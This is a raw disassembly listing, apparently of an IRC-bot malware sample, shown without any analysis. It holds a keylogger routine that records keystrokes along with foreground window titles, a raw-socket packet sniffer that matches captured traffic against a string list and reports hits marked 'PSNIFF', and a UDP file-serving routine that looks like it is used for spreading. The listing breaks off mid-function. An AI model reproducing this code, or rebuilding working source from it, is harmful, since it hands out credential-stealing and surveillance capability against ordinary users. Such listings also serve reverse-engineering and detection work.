		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4CE388	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4124A7
		push	190h
		call	dword_428080	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412487
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409743
		add	esp, 14h


loc_412487:				; CODE XREF: sub_412407+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415F45
		push	[ebp+var_168]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_4124A7:				; CODE XREF: sub_412407+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4CE2E8	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4CE2E8	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_441254[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4CE308	; ntohs
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4CE334	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412531
		push	1388h
		call	dword_428080	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_41285A
; ---------------------------------------------------------------------------


loc_412531:				; CODE XREF: sub_412407+10Fj
		lea	eax, [ebp+var_370]
		push	offset dword_42A068
		push	eax
		call	sub_41BB32
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_412597
		push	190h
		call	dword_428080	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409743
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415F45
		push	[ebp+var_168]
		call	sub_40B56A
		add	esp, 1Ch
		push	ebx
		call	dword_4280D4	; ExitThread


loc_412597:				; CODE XREF: sub_412407+142j
					; sub_412407+40Dj
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_41281D
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4CE2F0	; select
		test	eax, eax
		jle	loc_412811
		mov	al, byte_4404C4
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4CE2E0	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41BEF6
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_4127FB
		cmp	[ebp+var_CF], 1
		jnz	loc_412707
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_41B650
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_41D88C
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41B78A
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CE36C	; sendto
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4126F5
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409743
		add	esp, 14h


loc_4126F5:				; CODE XREF: sub_412407+2C9j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415F45
		pop	ecx
		jmp	loc_412811
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412407+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_4127FB
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_41273E
		inc	al
		xor	cl, cl
		mov	[ebp+var_575], bl
		jmp	short loc_412746
; ---------------------------------------------------------------------------


loc_41273E:				; CODE XREF: sub_412407+329j
		inc	cl
		mov	[ebp+var_575], cl


loc_412746:				; CODE XREF: sub_412407+335j
		mov	[ebp+var_576], al
		mov	edi, 200h
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, edi
		push	eax
		push	[ebp+var_4]
		call	sub_41D88C
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_41B78A
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CE36C	; sendto
		cmp	edi, ebx
		jnz	short loc_412811
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset dword_437E40
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4127E6
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409743
		add	esp, 14h


loc_4127E6:				; CODE XREF: sub_412407+3BAj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415F45
		inc	dword_4D0E00
		pop	ecx
		jmp	short loc_412811
; ---------------------------------------------------------------------------


loc_4127FB:				; CODE XREF: sub_412407+24Aj
					; sub_412407+307j
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_437E34
		push	esi
		call	dword_4CE36C	; sendto


loc_412811:				; CODE XREF: sub_412407+1E9j
					; sub_412407+2FBj ...
		cmp	[ebp+var_8], ebx
		jg	loc_412597
		mov	edi, [ebp+arg_0]


loc_41281D:				; CODE XREF: sub_412407+199j
		push	esi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_4]
		call	sub_41B6CB
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_41284E
		push	[ebp+var_168]
		call	sub_40B56A
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_41284E:				; CODE XREF: sub_412407+432j
		push	3E8h
		call	dword_428080	; Sleep
		push	edi


loc_41285A:				; CODE XREF: sub_412407+125j
		call	sub_412407
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_412407	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412866	proc near		; CODE XREF: sub_412911+E2p
					; sub_412911+1A4p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= byte ptr  18h
arg_90		= dword	ptr  98h
arg_94		= dword	ptr  9Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	[ebp+arg_90], 0
		jz	short loc_4128D6
		push	ebx
		push	esi
		push	10h
		mov	esi, offset dword_437E98
		pop	ebx


loc_412882:				; CODE XREF: sub_412866+6Aj
		push	esi
		push	[ebp+arg_4]
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4128C9
		push	esi
		lea	eax, [ebp+var_200]
		push	[ebp+arg_0]
		push	offset dword_438E04
		push	200h
		push	eax
		call	sub_41BFF0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_94]
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		call	sub_409743
		add	esp, 28h


loc_4128C9:				; CODE XREF: sub_412866+29j
		add	esi, 80h
		dec	ebx
		jnz	short loc_412882
		pop	esi
		pop	ebx
		jmp	short loc_41290D
; ---------------------------------------------------------------------------


loc_4128D6:				; CODE XREF: sub_412866+10j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	200h
		push	eax
		call	sub_41BFF0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_94]
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		call	sub_409743
		add	esp, 24h


loc_41290D:				; CODE XREF: sub_412866+6Ej
		xor	eax, eax
		leave
		retn
sub_412866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412911	proc near		; DATA XREF: sub_401AA1+72CDo

var_920		= dword	ptr -920h
var_91C		= byte ptr -91Ch
var_520		= byte ptr -520h
var_4E0		= byte ptr -4E0h
var_2E1		= byte ptr -2E1h
var_2E0		= byte ptr -2E0h
var_E0		= byte ptr -0E0h
var_DC		= dword	ptr -0DCh
var_58		= dword	ptr -58h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 920h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_920], 0
		push	26h
		and	[ebp+arg_0], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_E0]
		rep movsd
		mov	dword ptr [eax+94h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_91C]
		rep stosd
		call	dword_4CE28C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CE2A4	; GetWindowTextA
		mov	ebx, 200h


loc_41296C:				; CODE XREF: sub_412911+494j
		push	8
		call	dword_428080	; Sleep
		call	dword_4CE28C	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	loc_412AE4
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CE2A4	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	loc_412A69
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B650
		test	eax, eax
		pop	ecx
		jbe	short loc_412A22
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B650
		cmp	eax, 1
		pop	ecx
		jnb	short loc_412A22
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; "..%s.."
		push	eax
		call	sub_41BEF6
		sub	esp, 8Ch
		lea	eax, [ebp+var_48]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_412866
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch


loc_412A22:				; CODE XREF: sub_412911+9Bj
					; sub_412911+AAj
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B650
		test	eax, eax
		pop	ecx
		jbe	loc_412AE4
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B650
		test	eax, eax
		pop	ecx
		jbe	loc_412AE4
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; "..%s.."
		push	eax
		call	sub_41BEF6
		sub	esp, 8Ch
		jmp	short loc_412A9D
; ---------------------------------------------------------------------------


loc_412A69:				; CODE XREF: sub_412911+86j
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B650
		test	eax, eax
		pop	ecx
		jbe	loc_412B8F
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_ChangedW ; "..%s.. (Changed Windows: %s)"
		push	eax
		call	sub_41BEF6
		sub	esp, 88h


loc_412A9D:				; CODE XREF: sub_412911+156j
		push	26h
		lea	eax, [ebp+var_48]
		pop	ecx
		lea	esi, [ebp+var_E0]
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		push	eax
		rep movsd
		call	sub_412866
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch


loc_412AE4:				; CODE XREF: sub_412911+6Cj
					; sub_412911+120j ...
		cmp	[ebp+var_58], 0
		jz	loc_412B8F
		push	1
		call	dword_4CE2D4	; GetAsyncKeyState
		cmp	ax, 8001h
		jnz	loc_412B8F
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B650
		test	eax, eax
		pop	ecx
		jbe	short loc_412B8F
		call	dword_4CE28C	; GetForegroundWindow
		lea	ecx, [ebp+var_520]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CE2A4	; GetWindowTextA
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; "..%s.."
		push	eax
		call	sub_41BEF6
		sub	esp, 8Ch
		lea	eax, [ebp+var_520]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_412866
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch


loc_412B8F:				; CODE XREF: sub_412911+164j
					; sub_412911+1D7j ...
		mov	[ebp+var_4], offset dword_43869C


loc_412B96:				; CODE XREF: sub_412911+48Aj
		push	10h
		call	dword_4CE1DC	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+var_4]
		mov	edi, [eax-4]
		push	edi
		call	dword_4CE2D4	; GetAsyncKeyState
		test	ah, ah
		jns	short loc_412C2D
		push	14h
		call	dword_4CE1DC	; GetKeyState
		test	ax, ax
		jz	short loc_412BDE
		cmp	esi, 0FFFFFFFFh
		jle	short loc_412BDE
		cmp	edi, 40h
		jle	short loc_412BDE
		cmp	edi, 5Bh
		jge	short loc_412BDE
		mov	[ebp+edi*4+var_920], 1
		jmp	loc_412D90
; ---------------------------------------------------------------------------


loc_412BDE:				; CODE XREF: sub_412911+2ACj
					; sub_412911+2B1j ...
		push	14h
		call	dword_4CE1DC	; GetKeyState
		test	ax, ax
		jz	short loc_412C09
		test	esi, esi
		jge	short loc_412C1D
		cmp	edi, 40h
		jle	short loc_412C09
		cmp	edi, 5Bh
		jge	short loc_412C09
		mov	[ebp+edi*4+var_920], 2
		jmp	loc_412D90
; ---------------------------------------------------------------------------


loc_412C09:				; CODE XREF: sub_412911+2D8j
					; sub_412911+2E1j ...
		test	esi, esi
		jge	short loc_412C1D
		mov	[ebp+edi*4+var_920], 3
		jmp	loc_412D90
; ---------------------------------------------------------------------------


loc_412C1D:				; CODE XREF: sub_412911+2DCj
					; sub_412911+2FAj
		mov	[ebp+edi*4+var_920], 4
		jmp	loc_412D90
; ---------------------------------------------------------------------------


loc_412C2D:				; CODE XREF: sub_412911+29Fj
		lea	eax, [ebp+edi*4+var_920]
		mov	esi, [eax]
		test	esi, esi
		jz	loc_412D90
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B650
		cmp	edi, 8
		pop	ecx
		jnz	short loc_412C60
		and	[ebp+eax+var_2E1], 0
		jmp	loc_412D90
; ---------------------------------------------------------------------------


loc_412C60:				; CODE XREF: sub_412911+340j
		cmp	eax, 1B9h
		jbe	short loc_412CAF
		call	dword_4CE28C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CE2A4	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	short loc_412C9D
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_BufferFu ; "..%s.. (Buffer full)"


loc_412C8C:				; CODE XREF: sub_412911+3E1j
		lea	eax, [ebp+var_4E0]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	short loc_412D13
; ---------------------------------------------------------------------------


loc_412C9D:				; CODE XREF: sub_412911+36Dj
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_Buffer_0 ; "..%s.. (Buffer full) (%s)"
		jmp	short loc_412D04
; ---------------------------------------------------------------------------


loc_412CAF:				; CODE XREF: sub_412911+354j
		cmp	edi, 0Dh
		jnz	loc_412D62
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B650
		test	eax, eax
		pop	ecx
		jz	loc_412D90
		call	dword_4CE28C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CE2A4	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	short loc_412CF4
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_Return ; "..%s.. (Return)"
		jmp	short loc_412C8C
; ---------------------------------------------------------------------------


loc_412CF4:				; CODE XREF: sub_412911+3D3j
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_ReturnS ;	"..%s.. (Return) (%s)"


loc_412D04:				; CODE XREF: sub_412911+39Cj
		lea	eax, [ebp+var_4E0]
		push	eax
		call	sub_41BEF6
		add	esp, 10h


loc_412D13:				; CODE XREF: sub_412911+38Aj
		sub	esp, 98h
		lea	eax, [ebp+var_48]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_412866
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		jmp	short loc_412D90
; ---------------------------------------------------------------------------


loc_412D62:				; CODE XREF: sub_412911+3A1j
		cmp	esi, 1
		jz	short loc_412D7B
		cmp	esi, 3
		jz	short loc_412D7B
		cmp	esi, 2
		jz	short loc_412D76
		cmp	esi, 4
		jnz	short loc_412D90


loc_412D76:				; CODE XREF: sub_412911+45Ej
		push	[ebp+var_4]
		jmp	short loc_412D82
; ---------------------------------------------------------------------------


loc_412D7B:				; CODE XREF: sub_412911+454j
					; sub_412911+459j
		mov	eax, [ebp+var_4]
		add	eax, 7
		push	eax


loc_412D82:				; CODE XREF: sub_412911+468j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41C530
		pop	ecx
		pop	ecx


loc_412D90:				; CODE XREF: sub_412911+2C8j
					; sub_412911+2F3j ...
		add	[ebp+var_4], 14h
		cmp	[ebp+var_4], offset dword_438DCC
		jl	loc_412B96
		cmp	[ebp+arg_0], 0
		jz	loc_41296C
		push	[ebp+var_DC]
		call	sub_40B56A
		pop	ecx
		push	0
		call	dword_4280D4	; ExitThread
sub_412911	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412DBF	proc near		; DATA XREF: sub_401AA1+4135o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41C190
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		xor	eax, eax
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+var_B4]
		inc	eax
		push	10h
		rep movsd
		mov	[ebp+var_8], eax
		mov	[edx+90h], eax
		xor	esi, esi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_4CE308	; ntohs
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40A8D5
		pop	ecx
		push	eax
		call	dword_4CE348	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4CE388	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_412E94
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_4397EC
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412E77
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409743
		add	esp, 14h


loc_412E77:				; CODE XREF: sub_412DBF+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415F45
		push	[ebp+var_30]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_412E94:				; CODE XREF: sub_412DBF+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_441254[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_4CE334	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412F19
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_4397C0
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412EF5
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409743
		add	esp, 14h


loc_412EF5:				; CODE XREF: sub_412DBF+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415F45
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_30]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_412F19:				; CODE XREF: sub_412DBF+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4CE2B4	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412F9C
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_439790
		push	eax


loc_412F4B:				; DATA XREF: .XPack0:off_43D448o
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412F78
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409743
		add	esp, 14h


loc_412F78:				; CODE XREF: sub_412DBF+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415F45
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_30]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread


loc_412F9C:				; CODE XREF: sub_412DBF+177j
		push	ebx
		mov	ebx, offset dword_438EA8


loc_412FA2:				; CODE XREF: sub_412DBF+21Cj
					; sub_412DBF+22Ej ...
		push	0FFFFh
		lea	eax, [ebp+var_102B4]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	0FFFFh
		push	eax
		push	edi
		call	dword_4CE320	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4130CB
		cmp	[ebp+var_102AB], 6
		jnz	short loc_412FA2
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_412FA2
		lea	eax, [ebp+var_1028C]
		push	offset dword_439784
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FA2
		lea	eax, [ebp+var_1028C]
		push	offset dword_439774
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FA2
		xor	edi, edi
		mov	eax, ebx
		mov	[ebp+arg_0], ebx


loc_413024:				; CODE XREF: sub_412DBF+280j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413049
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_413024


loc_413041:				; CODE XREF: sub_412DBF+307j
		mov	edi, [ebp+var_4]
		jmp	loc_412FA2
; ---------------------------------------------------------------------------


loc_413049:				; CODE XREF: sub_412DBF+276j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4CE238	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_438EBC[eax*8]
		push	off_438E98[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset dword_439740
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4130B9
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409743
		add	esp, 14h


loc_4130B9:				; CODE XREF: sub_412DBF+2D8j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415F45
		pop	ecx
		jmp	loc_413041
; ---------------------------------------------------------------------------


loc_4130CB:				; CODE XREF: sub_412DBF+20Fj
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		push	offset dword_439714
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_413111
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409743
		add	esp, 14h


loc_413111:				; CODE XREF: sub_412DBF+330j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415F45
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_30]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
sub_412DBF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413135	proc near		; CODE XREF: sub_413444+216p
					; sub_413444+240p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4D104C, eax
		mov	eax, offset dword_4D104C
		retn
sub_413135	endp


; =============== S U B	R O U T	I N E =======================================



sub_413144	proc near		; CODE XREF: sub_413444+2B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41315E


loc_41315A:				; CODE XREF: sub_413144+29j
					; sub_413144+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41315E:				; CODE XREF: sub_413144+14j
		push	offset asc_42AA28 ; "#l#"
		push	esi
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41315A
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41BF70
		pop	ecx
